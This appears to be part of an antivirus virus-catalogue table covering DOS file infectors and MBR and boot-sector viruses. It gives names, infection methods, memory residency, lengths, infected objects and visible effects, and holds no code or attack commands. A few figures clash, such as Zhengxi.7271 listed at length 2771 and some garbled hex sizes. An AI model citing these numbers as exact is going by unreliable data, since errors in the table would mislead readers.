ºYosha.975 ¦INT ¦MCB ¦ V ¦975 ¦ C ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºYADEKA.Demo ¦INT ¦MCB ¦ HV ¦2365 ¦ C * ¦ s ¦ L+? º
ºYom.529 ¦FIND¦ - ¦ VCh¦529 ¦ .C * ¦ e ¦ L º
ºYouH.577 ¦FIND¦ - ¦ V ¦577 ¦ .C ¦ e ¦ L º
ºYouth.640 ¦INT ¦MCB ¦ Ch ¦640 ¦ C ¦ s ¦ L º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
File infectors, part Z
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growingº
º ¦way ¦ ¦ects¦( L )¦ files ¦place¦ º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
ºZhengxi.7271 ¦INT ¦MCB ¦ - ¦2771 ¦ CE * ¦CsEei¦ L+? º
ºZhengxi.7307 ¦INT ¦MCB ¦ - ¦3107 ¦ CE * ¦CsEei¦ L+? º
ºZhengxi.7313 ¦INT ¦MCB ¦ - ¦3113 ¦ CE * ¦CsEei¦ L+? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºZherkov.1023 ¦INT ¦MCB ¦ HV ¦1023 ¦ .C&C ¦ e ¦ L º
ºZherkov.1922 ¦INT ¦MCB ¦ - ¦1922 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+p º
ºZherkov.2435 ¦INT ¦MCB ¦ - ¦2435 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+p º
ºZherkov.2968 ¦INT ¦MCB ¦ V ¦2968 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+p º
ºZherkov.2970 ¦INT ¦MCB ¦ V ¦2970 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºZhugeLiang.4784¦INT ¦KEEP¦ S ¦4784 ¦ CE * ¦ s ¦ L º
ºZhugeLiang.5976¦INT ¦KEEP¦ S ¦5976 ¦ CE * ¦ s ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºZipper.303 ¦INT ¦MCB ¦ - ¦303 ¦ C * ¦ e ¦ L º
ºZipper.2779 (3)¦INT ¦MCB ¦ - ¦2779 ¦ CE * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºZmiana.1024 (2)¦INT ¦MCB ¦ HCh¦1024 ¦ E * ¦ e ¦ L+p º
ºZmiana.1224 ¦INT ¦MCB ¦ V ¦1224 ¦ CE * ¦ e ¦ L+p º
ºZmiana.1383 ¦INT ¦MCB ¦ V ¦1383 ¦ CE * ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºZnosko.509 ¦FIND¦ - ¦ V ¦509 ¦ .C * ¦ s ¦ L º
ºZnosko.1311 ¦FIND¦ - ¦ H ¦1311 ¦ .C * ¦ s ¦ L º
ºZnosko.1372 ¦FIND¦ - ¦ H ¦1372 ¦ .C * ¦ s ¦ L º
ºZnosko.1380 ¦FIND¦ - ¦ H ¦1388 ¦ .C * ¦ s ¦ L º
ºZnosko.1418 ¦FIND¦ - ¦ H ¦1418 ¦ .C * ¦ s ¦ L º
ºZnosko.1730 ¦FIND¦ - ¦ H ¦1730 ¦ CE * ¦CsEe ¦ C-L, E-L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºZombie.1922 ¦INT ¦SHAD¦ Ch ¦1922 ¦ E * ¦ e ¦ L+13545+p º
ºZombie.16384 ¦FIND¦ - ¦ - ¦16384¦ .C * ¦ s ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºZarin.669 ¦FIND¦ - ¦ HV ¦669 ¦ .C * ¦ s ¦ L º
ºZeroBug.1536 ¦INT ¦KEEP¦ V ¦1536 ¦ C * ¦ s ¦ L º
ºZhengZhou.3584 ¦INT ¦MCB ¦ HV ¦3584 ¦ CE+boot ¦ e ¦ L+p º
ºZhu.1743 ¦INT ¦MCB ¦ V ¦1743 ¦ .C.E&E ¦ e ¦ L º
ºZibbert.1315 ¦INT ¦KEEP¦ Ch ¦1315 ¦ CE ¦ e ¦ L º
ºZohra.4488 ¦INT ¦MCB ¦ V ¦4488 ¦ E ¦ e ¦ L º
ºZu.473 ¦INT ¦MCB ¦ HV ¦473 ¦ C * ¦ e ¦ L º
ºZxx.600 ¦INT ¦MCB ¦ H ¦600 ¦ E ¦ e ¦ L+p º
ºZyx.5739 ¦FIND¦ - ¦ H ¦5739 ¦ .C.E&CE* ¦ e ¦ L+? º
ºZz.412 ¦INT ¦MCB ¦ - ¦412 ¦ E * ¦ e ¦ L+p º
ºZzTop.340 ¦INT ¦MCB ¦ H ¦340 ¦ C * ¦ s ¦ L º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
The MBR and Boot sector viruses
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍ»
º Name ¦ Length ¦Infect.¦Decr. of ¦ Envoked º
º ¦ ¦objects¦memory(K) ¦ effects º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍ͹
ºAlla.1281 ¦2048 (800h) ¦FM+file¦ 2 * ¦ Ch º
ºAlla.1325 ¦2048 (800h) ¦FM+file¦ 2 * ¦ Ch º
ºAlla.1407 ¦2048 (800h) ¦FM+file¦ 2 * ¦ Ch º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄÄÄĆÄÄÄÄÄÄÄÄÄĆÄÄÄÄÄÄÄÄÄĶ
ºBlah.3379 ¦2048 (800h) ¦ M+file¦ 3 * ¦ - º
ºBlah.3385 ¦2048 (800h) ¦ M+file¦ 3 * ¦ Er º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄÄÄĆÄÄÄÄÄÄÄÄÄĆÄÄÄÄÄÄÄÄÄĶ
ºBootCom.437 ¦512 (200h) ¦ M+file¦ 1 * ¦ - º
ºBootCom.445 ¦512 (200h) ¦FM+file¦ 1 * ¦ H º
ºBootCom.512(Light)¦512 (200h) ¦ M+file¦ 1 * ¦ - º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄÄÄĆÄÄÄÄÄÄÄÄÄĆÄÄÄÄÄÄÄÄÄĶ
ºBootExe.174 ¦512 (200h) ¦ M+file¦ INTB* ¦ H º
ºBootExe.403 ¦512 (200h) ¦ M+file¦ 1 * ¦ - º
ºBootExe.443 ¦512 (200h) ¦FB+file¦ 4 * ¦ H º
ºBootExe.451 ¦512 (200h) ¦FB+file¦ 4 * ¦ H º
ºBootExe.452 ¦512 (200h) ¦FB+file¦ 4 * ¦ H º
ºBootExe.483 ¦512 (200h) ¦ M+file¦ 1 * ¦ H º
º.Andryushka ¦512 (200h) ¦ M+file¦ 1 ¦ H º
º.Dogcher ¦512 (200h) ¦ M+file¦ INTB* ¦ H º
º.Nutcracker ¦512 (200h) ¦FM+file¦ 1 * ¦ H º
º.Stalker.310 ¦512 (200h) ¦ M+file¦ 1 * ¦ - º
º.Stalker.320 ¦512 (200h) ¦ M+file¦ 1 * ¦ - º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄÄÄĆÄÄÄÄÄÄÄÄÄĆÄÄÄÄÄÄÄÄÄĶ
ºDaemaen.1894 ¦2560 (A00h) ¦FM+file¦ 3 * ¦ Er º
ºDaemaen.2048 ¦2560 (A00h) ¦FM+file¦ 3 * ¦ Er º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄÄÄĆÄÄÄÄÄÄÄÄÄĆÄÄÄÄÄÄÄÄÄĶ
ºCriCri.4300 ¦4608 (12000)¦ F+file¦ 9 * ¦ VEr º
ºCriCri.4616 ¦5120 (14000)¦ F+file¦ 9 * ¦ VEr º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄÄÄĆÄÄÄÄÄÄÄÄÄĆÄÄÄÄÄÄÄÄÄĶ
ºGinger.2691 ¦3072 (C00h) ¦ M+file¦ 3 * ¦ Er º
ºGinger.2624 ¦3072 (C00h) ¦ M+file¦ 3 * ¦ - º
ºGinger.2774 ¦3072 (C00h) ¦ M+file¦ 3 * ¦ Er º
ºGinger.2782 ¦3072 (C00h) ¦ M+file¦ 3 * ¦ - º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄÄÄĆÄÄÄÄÄÄÄÄÄĆÄÄÄÄÄÄÄÄÄĶ
ºMf.4270 ¦4608 (1200h)¦ M+file¦ 8 * ¦ HV º
ºMf.4625 ¦5120 (1400h)¦ M+file¦ 10* ¦ HV º
ºMf.5088 ¦5120 (1400h)¦ M+file¦ 10* ¦ HV º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄÄÄĆÄÄÄÄÄÄÄÄÄĆÄÄÄÄÄÄÄÄÄĶ
ºMh.1432 ¦2048 (800h) ¦ M+file¦ 4 * ¦ - º
ºMh.1438 ¦2048 (800h) ¦ M+file¦ 4 * ¦ - º
ºMh.1538 ¦2048 (800h) ¦ M+file¦ 4 * ¦ - º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄÄÄĆÄÄÄÄÄÄÄÄÄĆÄÄÄÄÄÄÄÄÄĶ
ºNexivder.4224 ¦6656 (1A000)¦FM+file¦ 7 * ¦ Er º
ºNexivder.4286 ¦6656 (1A000)¦FM+file¦ 7 * ¦ Er º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄÄÄĆÄÄÄÄÄÄÄÄÄĆÄÄÄÄÄÄÄÄÄĶ
ºNutcracker.512 (2)¦512 (200h) ¦ FM ¦ 1 * ¦ H º
ºNutcracker.2890 ¦3072 (C00h) ¦FM+file¦ - * ¦ HS º
ºNutcracker.2990 ¦3072 (C00h) ¦FM+file¦ - * ¦ HSEr º
ºNutcracker.3021 ¦3072 (C00h) ¦FM+file¦ - * ¦ HSEr º
ºNutcracker.3472 ¦3584 (E00h) ¦FM+file¦ - * ¦ HSEr º
ºNutcracker.3500(4)¦3584 (E00h) ¦ M+file¦ - * ¦ HV º
ºNutcracker.4540 ¦4608 (12000)¦FM+file¦ - * ¦ HVSEr º
ºNutcracker.5375 ¦5632 (16000)¦FM+file¦ - * ¦ H º
ºNutcracker.5413 ¦5632 (16000)¦FM+file¦ - * ¦ H º
ºNutcracker.5440 ¦5632 (16000)¦FM+file¦ - * ¦ H º
ºNutcracker.5589 ¦5632 (16000)¦FM+file¦ - * ¦ H º
ºNutcracker.6100 ¦6144 (18000)¦FM+file¦ - * ¦ H º
ºNutcracker.6425(7)¦7168 (1C000)¦FM+file¦ - * ¦ HVEr º
ºNutcracker.6996 ¦7168 (1C000)¦FM+file¦ - * ¦ HV º
ºNutcracker.7008 ¦7168 (1C000)¦FM+file¦ - * ¦ HVEr º
ºNutcracker.7640 ¦7680 (1E000)¦FM+file¦ - * ¦ H º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄÄÄĆÄÄÄÄÄÄÄÄÄĆÄÄÄÄÄÄÄÄÄĶ
ºKrsna.7699 ¦8192 (2000h)¦FM+file¦ - * ¦ HV º
ºKrsna.7868 ¦8192 (2000h)¦FM+file¦ - * ¦ HV º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄÄÄĆÄÄÄÄÄÄÄÄÄĆÄÄÄÄÄÄÄÄÄĶ
ºRaseK.1489 ¦2048 (800h) ¦ M+file¦ 2 * ¦ H º
ºRaseK.1490 ¦2048 (800h) ¦ M+file¦ 2 * ¦ H º
ºRaseK.1492 ¦2048 (800h) ¦ M+file¦ 2 * ¦ H º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄÄÄĆÄÄÄÄÄÄÄÄÄĆÄÄÄÄÄÄÄÄÄĶ
º3APA3A (3)¦1024 (400h) ¦F+IO.SYS 2 or 3 *¦ HV º
º3nop ¦512 (200h) ¦FM+file¦ 1 * ¦ H º
º8Ball (2)¦512 (200h) ¦F+CONFIG HMA * ¦ - º
ºABCD (3)¦1024 (400h) ¦ FM ¦ 1 or 2 ¦ - º
ºAbs-3 ¦512 (200h) ¦ FM ¦ 1 * ¦ H º
ºAija ¦1024 (400h) ¦ FM ¦ 5 * ¦ HV º
ºAircop (3)¦512 (200h) ¦ F ¦ 1 ¦ V º
ºAlcon ¦1024 (400h) ¦ FB ¦ 2 * ¦ H º
ºAmse (2)¦3072 (C00h) ¦ FM ¦ 4 * ¦ - º
ºAndrew (2)¦512 (200h) ¦ FM ¦ 1 * ¦ H º
ºAngelina ¦512 (200h) ¦ FM ¦ 1 * ¦ - º
ºAnthrax ¦1024 (400h) ¦ M+file¦ 2 * ¦ H º
ºAntiCMOS (3)¦512 (200h) ¦ FM ¦ 2 * ¦ HSCh º
ºAntiEXE (7)¦512 (200h) ¦ FM ¦ 1 ¦ Ch º
ºAntiParity ¦512 (200h) ¦ FM ¦ 1 * ¦ - º
ºAP ¦512 (200h) ¦ FM ¦ 1 * ¦ - º
ºArcHub ¦512 (200h) ¦ FM ¦ 1 * ¦ - º
ºAreThree.2048 (3)¦2048 (800h) ¦FM+file¦ 5 * ¦ V º
ºAutumnal.3072 ¦3072 (C00h) ¦ M+file¦ 4 ¦ HV º
ºAzusa (2)¦512 (200h) ¦ FM ¦ 1 * ¦ HCh º
ºBackSlash ¦512 (200h) ¦ FM ¦ 1 * ¦ Ch º
ºBackUSSR ¦512 (200h) ¦ FM ¦ 1 * ¦ V º
ºBadBuffer ¦512 (200h) ¦ FM ¦ 2 ¦ - º
ºBunny (3)¦512 (200h) ¦ FM ¦ 1 ¦ - º
ºBitch ¦512 (200h) ¦ FM ¦ 1 * ¦ - º
ºBite ¦512 (200h) ¦ FM ¦ 1 * ¦ V º
ºBlackWorm ¦512 (200h) ¦ FM ¦ 2 * ¦ H º
ºBleah (3)¦512 (200h) ¦ FM ¦ 1 ¦ - º
ºBloody (2)¦512 (200h) ¦ FM ¦ 2 * ¦ V º
ºBones ¦512 (200h) ¦ FM ¦ 1 * ¦ H º
ºBoot.437 ¦512 (200h) ¦ FB ¦ 1 ¦ - º
ºBoroda ¦1024 (400h) ¦ FM ¦ 2 * ¦ V º
ºBrain (3)¦3072 (C00h) ¦ F ¦ 7 ¦ Ch º
ºBrasil ¦1024 (400h) ¦ FM ¦ 1 * ¦ HV º
ºBravo ¦512 (200h) ¦ FM ¦ INTB * ¦ H º
ºBug70 ¦512 (200h) ¦ FB ¦ INTB ¦ - º
ºBuptBoot ¦512 (200h) ¦ FM ¦ 2 * ¦ - º
ºByeBye ¦1024 (400h) ¦ FM ¦ 1 * ¦ V º
ºChance (4)¦1024 (400h) ¦ FB ¦ 2 * ¦ V º
ºChangsha.3072 ¦3072 (C00h) ¦ M+file¦ 4 ¦ HV º
ºCheolsoo ¦512 (200h) ¦ FB ¦ 2 * ¦ - º
ºChigi ¦512 (200h) ¦ FM ¦ 2 * ¦ V º
ºChineseFish ¦1536 (600h) ¦ FM ¦ ADDR * ¦ V º
ºCicada ¦3584 (E00h) ¦ FM ¦ 4 * ¦ HV º
ºCivilDefence (7)¦7168 (1C00h)¦ M+file¦ - * ¦ HV º
ºCOMx ¦512 (200h) ¦ FM ¦ 2 ¦ - º
ºCopy77 ¦512 (200h) ¦ FM ¦ 1 * ¦ V º
ºCrazyBoot ¦1536 (600h) ¦ FM ¦ 4 * ¦ V º
ºCrepate ¦3584 (E00h) ¦ M+file¦ 4 * ¦ H º
ºCruel (2)¦512 (200h) ¦ FB ¦ 2 * ¦ H º
ºCrusade ¦3072 (C00h) ¦ M+file¦ 4 * ¦ V º
ºCrusher ¦2048 (800h) ¦ M+file¦ 2 * ¦ V º
ºDaBoys (2)¦512 (200h) ¦ FB ¦ INTB * ¦ H º
ºDamanaegi ¦512 (200h) ¦ F ¦ 2 * ¦ V º
ºDamcdoom ¦512 (200h) ¦ FM ¦ 1 * ¦ H º
ºDaniela ¦512 (200h) ¦ FM ¦ 1 * ¦ H º
ºDarkAngel ¦512 (200h) ¦ FM ¦ 2 * ¦ H º
ºDead.945 ¦1024 (400h) ¦ M+file¦ 2 ¦ - º
ºDeadFace ¦512 (200h) ¦ FB ¦ 1 ¦ - º
ºDecMem ¦512 (200h) ¦ F ¦ 1+?* ¦ - º
ºDefo (2)¦4096 (1000h)¦ FM ¦ 9 ¦ V º
ºDemiurg.3061 ¦3072 (C00h) ¦ M+file¦ 7 * ¦ HEr º
ºDenZuk (6)¦5120 (1400h)¦ F ¦ 7 ¦ VErCh º
ºDestage.1200 ¦1536 (600h) ¦ M+file¦ 2 * ¦ - º
ºDevil (2)¦512 (200h) ¦ FM ¦ 1 * ¦ V º
ºDiablo ¦512 (200h) ¦ FM ¦ 2 * ¦ - º
ºDinamo ¦512 (200h) ¦ FM ¦ 1 * ¦ V º
ºDiskKiller ¦2560 (A00h) ¦ FB ¦ 8 * ¦ HV º
ºDiskWasher ¦512 (200h) ¦ FM ¦ 1 * ¦ HV º
ºDodgy ¦1024 (400h) ¦ FM ¦ 1 * ¦ HV º
ºDragon ¦512 (200h) ¦ FM ¦ 1 * ¦ V º
ºDrDemon.4292 ¦4608 (12000)¦ M+file¦ 9 * ¦ Er º
ºDream ¦512 (200h) ¦ FM ¦ INTB* ¦ Er º
ºDrWhite ¦1536 (600h) ¦FM+file¦ 3 * ¦ - º
ºDuran ¦512 (200h) ¦ FM ¦ 1 * ¦ H º
ºEdwin ¦1024 (400h) ¦ FM ¦ 2 ¦ - º
ºEkaterinburg ¦512 (200h) ¦ FM ¦ INTB * ¦ V º
ºEkoterr.2000 ¦2048 (800h) ¦ M+file¦ 2 ¦ V º
ºEncePhalyt ¦512 (200h) ¦ FM ¦ INTB * ¦ H º
ºEster ¦512 (200h) ¦ FM ¦ 1 * ¦ HEr º
ºExeBug (6)¦512 (200h) ¦ FM ¦ 1 * ¦ H º
ºFame ¦1024 (400h) ¦FM+file¦ 1 * ¦ Er º
ºFanthomas.1443 ¦1536 (600h) ¦ M+file¦ 2 * ¦ Er º
ºFATAvenger ¦2048 (800h) ¦ FM ¦ 3 * ¦ - º
ºFatty.3008 ¦4096 (1000h)¦MB+file¦ 4 ¦ HEr º
ºFeint (3)¦512 (200h) ¦ FM ¦ 2 ¦ - º
ºFifteenYears (2)¦1024 (400h) ¦ FM ¦ 3 * ¦ H º
ºFighter.7408 ¦7680 (1E00h)¦ M+file¦ - * ¦ V º
ºFiller (3)¦4096 (1000h)¦ FM ¦ - * ¦ HV º
ºFist.927 ¦1536 (600h) ¦ M+file¦ 3 ¦ - º
ºFisu ¦512 (200h) ¦ FM ¦ 1 * ¦ - º
ºFitW (2)¦4096 (1000h)¦FM+file¦ 5 * ¦ HV º
ºFlame (3)¦512 (200h) ¦ FM ¦ 1 * ¦ HV º
ºFlip ¦2560 (A00h) ¦ M+file¦ 3 * ¦ HV º
ºForm (4)¦1024 (400h) ¦ FM ¦ 2 * ¦ H º
ºFrankenstein ¦4096 (10000)¦ FM ¦ 4 * ¦ H º
ºGalicia (2)¦512 (200h) ¦ FM ¦ 2 * ¦ HV º
ºGelendzhik ¦512 (200h) ¦ FM ¦ 2 ¦ - º
ºGoblin ¦2560 (A00h) ¦ M+file¦ 3 * ¦ V º
ºGoldBug (5)¦1024 (400h) ¦FM+file¦ HMA * ¦ HCh º
ºGraveLion.2250 ¦3072 (C00h) ¦ M+file¦ 5 * ¦ V º
ºGullich ¦1536 (600h) ¦ FB ¦ 3 * ¦ V º
ºHaharin ¦512 (200h) ¦ FM ¦ 1 * ¦ HV º
ºHal ¦512 (200h) ¦ FM ¦ 1 * ¦ V º
ºHalfive.512 ¦1024 (400h) ¦ M+file¦ 1 * ¦ H º
ºHavoc (2)¦4608 (1200h)¦FM+file¦ - * ¦ V º
ºHDDError ¦512 (200h) ¦ FM ¦ 1+INTB* ¦ HV º
ºHemlock ¦3584 (E00h) ¦FM+file¦ 8 * ¦ - º
ºImplant.6182 ¦6656 (1A000)¦FM+file¦ 7 * ¦ HV º
ºInt10 ¦1024 (400h) ¦ FM ¦ 1 * ¦ V º
ºInt12 ¦512 (200h) ¦ FB ¦ 1 * ¦ - º
ºIntAA ¦512 (200h) ¦ FM ¦ 1 ¦ - º
ºIntC1 ¦512 (200h) ¦ FM ¦ INTB * ¦ - º
ºIntCE ¦512 (200h) ¦ FB ¦ INTB * ¦ H º
ºIntFF ¦512 (200h) ¦ FM ¦ 1 * ¦ HCh º
ºInvader (10)¦4096 (1000h)¦FB+file¦ 5,6* ¦ HVS º
ºIronE ¦1536 (600h) ¦ FB ¦ 3 * ¦ - º
ºJ&M ¦512 (200h) ¦ FM ¦ 2 * ¦ H º
ºJindra ¦1024 (400h) ¦ FB ¦ 2 * ¦ H º
ºJoshi ¦5120 (1400h)¦ FM ¦ 6 * ¦ V º
ºJuly29 (4)¦1536 (600h) ¦ FB ¦ 3 * ¦ HVEr º
ºJumpBoot ¦1024 (400h) ¦ M+file¦ INTB * ¦ H º
ºJumper (2)¦512 (200h) ¦ FM ¦ 2 * ¦ V º
ºKaczor (2)¦4608 (1200h)¦ M+file¦ 6 * ¦ V º
ºKampana (2)¦1024 (400h) ¦ FM ¦ 1 * ¦ HV º
ºKarnavali.1972 ¦2048 (800h) ¦ M+file¦ - * ¦ V º
ºKeypress.2728 ¦3584 (E00h) ¦ F+file¦ 7 ¦ V º
ºKonstantin ¦512 (200h) ¦ FM ¦ 1 * ¦ Ch º
ºKysia ¦2048 (800h) ¦ M+file¦ 4 * ¦ V º
ºLeandro ¦1024 (400h) ¦ FM ¦ 4 * ¦ HV º
ºLeftShift ¦1024 (400h) ¦ FM ¦ 2 * ¦ Ch º
ºLikeness.3551 ¦4608 (1200h)¦ M+file¦ 5 * ¦ HEr º
ºLivingDeath.3766 ¦4096 (1000) ¦ M+file¦ 4 * ¦ HV º
ºKl (3)¦512 (200h) ¦ FM ¦ 1 ¦ - º
ºLucifer (2)¦512 (200h) ¦ FB ¦ - * ¦ H º
ºLP ¦512 (200h) ¦ FB ¦ 1 ¦ - º
ºLZR ¦1024 (400h) ¦ FM ¦ 2 * ¦ H º
ºMacGyver.4112 ¦4096 (1000h)¦FM+file¦ - * ¦ Er º
ºMalaga.2610 ¦3072 (C00h) ¦FB+file¦ 4 ¦ V º
ºMammoth.6000 ¦6656 (1A00h)¦FM+file¦ 8 * ¦ H º
ºMarzia (12)¦2560 (A00h) ¦ M+file¦ 3 * ¦ HV º
ºManitoba ¦512 (200h) ¦ FM ¦ 2 * ¦ H º
ºMBR77 ¦512 (200h) ¦ FM ¦ 1 * ¦ H º
ºMichelangelo (5)¦512 (200h) ¦ FM ¦ 2 * ¦ H º
ºMicrobe ¦4096 (1000h)¦ F ¦ 4 * ¦ V º
ºMidnight (2)¦512 (200h) ¦ FM ¦ 1,2* ¦ V º
ºMikola ¦512 (200h) ¦ FM ¦ 1 * ¦ H º
ºMillion ¦512 (200h) ¦ FM ¦ 2 ¦ - º
ºMiniMax ¦512 (200h) ¦ FM ¦ 1 * ¦ ChEr º
ºMISiS (4)¦512 (200h) ¦ FM ¦ INTB* ¦ V º
ºMoloch ¦1536 (600h) ¦ FM ¦ 3 * ¦ Ch º
ºMongol ¦1536 (600h) ¦ FM ¦ 2 * ¦ HV º
ºMonkey (2)¦512 (200h) ¦ FM ¦ 1 * ¦ - º
ºMPhTI (3)¦512 (200h) ¦ FB ¦ 2 * ¦ HEr º
ºMrHu ¦512 (200h) ¦ FM ¦ 1 * ¦ HV º
ºMultiAni ¦1024 (400h) ¦ FB ¦ 1 * ¦ H º
ºMurky ¦512 (200h) ¦ FM ¦ 2 * ¦ H º
ºMusicBug ¦2048 (800h) ¦ FB ¦ 4 * ¦ S º
ºNarcosis ¦2560 (A00h) ¦FM+file¦ 2 * ¦ H º
ºNatas (9)¦4608 (1200h)¦FM+file¦ 6 * ¦ H º
ºNearDark ¦512 (200h) ¦ FM ¦ 1 * ¦ HV º
ºNice ¦512 (200h) ¦ FM ¦ 1 * ¦ V º
ºNYB ¦512 (200h) ¦ FM ¦ 1 * ¦ - º
ºOneHalf (7)¦4096 (1000h)¦ M+file¦ 4 * ¦ HV º
ºOrnate ¦512 (200h) ¦ FB ¦ 3 * ¦ H º
ºPalma ¦512 (200h) ¦ FM ¦ 1 * ¦ - º
ºParity (3)¦512 (200h) ¦ FM ¦ 1 * ¦ V º
ºPasta ¦512 (200h) ¦ FM ¦ 2 ¦ - º
ºPaula ¦512 (200h) ¦ FM ¦ 1 * ¦ - º
ºPeter ¦2560 (A00h) ¦ FM ¦ ADDR* ¦ HV º
ºPG ¦512 (200h) ¦ FM ¦ 1 ¦ - º
ºPieck.2016 ¦2048 (800h) ¦ M+file¦ 4 * ¦ V º
ºPlayGame ¦2560 (A00h) ¦ M+file¦ 3 * ¦ V º
ºPredator ¦3072 (C00h) ¦FM+file¦ 6 * ¦ - º
ºProcuror ¦1536 (600h) ¦ FM ¦ 2 * ¦ HCh º
ºQmu.1513 ¦1536 (600h) ¦ M+file¦ 5 * ¦ HCh º
ºQuery ¦512 (200h) ¦ FB ¦ 1 * ¦ HEr º
ºQuox ¦512 (200h) ¦ FM ¦ 1 * ¦ H º
ºRaiden.1433 ¦2048 (800h) ¦ M+file¦ 2 * ¦ V º
ºRain ¦1024 (400h) ¦ FM ¦ 2 * ¦ H º
ºRenegade.4509 ¦4608 (1200h)¦ M+file¦ 7 * ¦ HV º
